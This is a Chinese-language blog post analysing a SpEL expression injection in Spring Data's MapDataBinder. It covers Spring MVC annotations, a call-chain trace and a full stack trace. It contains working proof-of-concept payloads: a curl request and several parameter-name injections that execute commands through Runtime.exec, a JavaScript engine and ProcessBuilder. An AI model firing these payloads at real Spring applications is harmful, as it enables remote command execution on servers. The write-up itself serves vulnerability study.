type
Post
status
Published
date
Nov 29, 2022
slug
summary
tags
漏洞
业务安全
category
漏洞分析
icon
password
Property
Apr 6, 2023 01:45 AM
前提1
@PostMapping是Spring MVC中的一个注解,用于将HTTP POST请求映射到特定的处理程序方法。具体来说,@PostMapping注解告诉Spring框架这个方法应该在接收到POST请求时被执行。
使用@PostMapping注解可以非常方便地实现RESTful风格的Web服务。假设有一个名为"/users"的API端点,用于创建新用户的操作,你可以编写如下代码:
Copy Code @PostMapping("/users") public ResponseEntity<User> createUser(@RequestBody User user) { // 将用户信息保存到数据库// 返回包含新用户信息的ResponseEntity }
在这个示例中,@PostMapping注解告诉Spring框架这个方法应该在接收到HTTP POST请求"/users"时被执行。@RequestBody注解则表示从请求体中获取用户信息,并将其转换为Java对象(User类)。最后,方法返回一个ResponseEntity对象,其中包含了新用户的信息和其他元数据,例如HTTP状态码和响应头部。
前提2
@PostMapping注解对应的处理类是@Controller或@RestController。这两个注解都表示该类是Spring MVC中的控制器,用于接收和处理HTTP请求。
@Controller用于创建传统的Web应用程序,它将HTTP请求映射到特定的处理程序方法,并生成与之对应的视图。例如,以下代码段演示了如何使用@Controller处理POST请求:
Copy Code @Controller public class MyController { @PostMapping("/process") public String processForm() { // 处理表单数据return "result"; } }
@RestController则是基于@Controller的一个变体,用于创建RESTful Web服务。与@Controller不同,@RestController不会生成视图,而是直接返回响应数据(例如JSON格式)到客户端。例如,以下代码段演示了如何使用@RestController处理POST请求:
Copy Code @RestController public class MyRestController { @PostMapping("/process") public User processForm(@RequestBody User user) { // 处理用户数据并返回结果return user; } }
无论是@Controller还是@RestController,被@PostMapping注解标记的方法都会在接收到POST请求时被调用,并执行相应的业务逻辑。
关于spring如何通过注解获取请求参数,可参考以下链接:
环境demo
payload:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
调用链分析
demo环境通过@PostMapping注解和对应的处理类@RestController做了获取httpPOST获取参数的环境

接收传参后,binder.bind方法调用了doBind,其中调用了DataBinder类的applyPropertyValues方法对mpvs参数进行处理

接着又调用了AbstractPropertyAccessor的setPropertyValue方法,遍历我们的传参,取出键值。最后回到MapDataBinder的setPropertyValue方法

通过上面的分析我们知道了参数是怎么进来的,那么接下来看是怎么触发表达式执行
propertyName是攻击者可以控制的变量,但是代码中将它直接用来生成Expression。但是在使用之前我们发现有一段代码进行propertyName的有效性校验,它用来判断实体类的propertyName属性是否可写,后调用
PARSER
.parseExpression(propertyName)
进行表达式的处理。
持续跟进
expression.setValue(context, value);
会利用propertyName的name作为一个HashMap集合进行选择,跟进至第二次(第一次的result是前者提到的集合)来到getValueRef:51, CompoundExpression (org.springframework.expression.spel.ast)
可以看到其中有个循环遍历this.children数组,拿到数组中的getRuntime等(记住这个遍历)
之后就是SpEL表达式注入和反射调用getRuntime的源码分析,参考https://notion-w1nk1.vercel.app/article/482a04ec-b9ba-440e-ba25-4160274c06d0中的【执行spel表达式】部分
执行到最后命令执行的调用栈如下:
execute:117, ReflectiveMethodExecutor (org.springframework.expression.spel.support) getValueInternal:133, MethodReference (org.springframework.expression.spel.ast) getValueInternal:89, MethodReference (org.springframework.expression.spel.ast) getValueRef:57, CompoundExpression (org.springframework.expression.spel.ast) getValueInternal:87, CompoundExpression (org.springframework.expression.spel.ast) getValueRef:122, Indexer (org.springframework.expression.spel.ast) getValueRef:66, CompoundExpression (org.springframework.expression.spel.ast) setValue:95, CompoundExpression (org.springframework.expression.spel.ast) setValue:445, SpelExpression (org.springframework.expression.spel.standard) setPropertyValue:187, MapDataBinder$MapPropertyAccessor (org.springframework.data.web) setPropertyValue:65, AbstractPropertyAccessor (org.springframework.beans) setPropertyValues:95, AbstractPropertyAccessor (org.springframework.beans) applyPropertyValues:860, DataBinder (org.springframework.validation) doBind:756, DataBinder (org.springframework.validation) doBind:192, WebDataBinder (org.springframework.web.bind) bind:741, DataBinder (org.springframework.validation) createAttribute:162, ProxyingHandlerMethodArgumentResolver (org.springframework.data.web) resolveArgument:106, ModelAttributeMethodProcessor (org.springframework.web.method.annotation) resolveArgument:121, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support) getMethodArgumentValues:158, InvocableHandlerMethod (org.springframework.web.method.support) invokeForRequest:128, InvocableHandlerMethod (org.springframework.web.method.support) invokeAndHandle:97, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation) invokeHandlerMethod:827, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handleInternal:738, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:85, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:967, DispatcherServlet (org.springframework.web.servlet) doService:901, DispatcherServlet (org.springframework.web.servlet) processRequest:970, FrameworkServlet (org.springframework.web.servlet) doPost:872, FrameworkServlet (org.springframework.web.servlet) service:661, HttpServlet (javax.servlet.http) service:846, FrameworkServlet (org.springframework.web.servlet) service:742, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:52, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:99, RequestContextFilter (org.springframework.web.filter) doFilter:107, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:109, HttpPutFormContentFilter (org.springframework.web.filter) doFilter:107, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:81, HiddenHttpMethodFilter (org.springframework.web.filter) doFilter:107, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:197, CharacterEncodingFilter (org.springframework.web.filter) doFilter:107, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:198, StandardWrapperValve (org.apache.catalina.core) invoke:96, StandardContextValve (org.apache.catalina.core) invoke:496, AuthenticatorBase (org.apache.catalina.authenticator) invoke:140, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:87, StandardEngineValve (org.apache.catalina.core) service:342, CoyoteAdapter (org.apache.catalina.connector) service:803, Http11Processor (org.apache.coyote.http11) process:66, AbstractProcessorLight (org.apache.coyote) process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1459, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
例外payload
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/s1")]=&password=&repeatedPassword= username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('touch /tmp/s1')")]= username[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('shxx-cxxtouch%20/tmp/s3'.split('xx'))).start()]=
- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/6e748f65-4606-47a6-b5b1-b48da48234f5
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts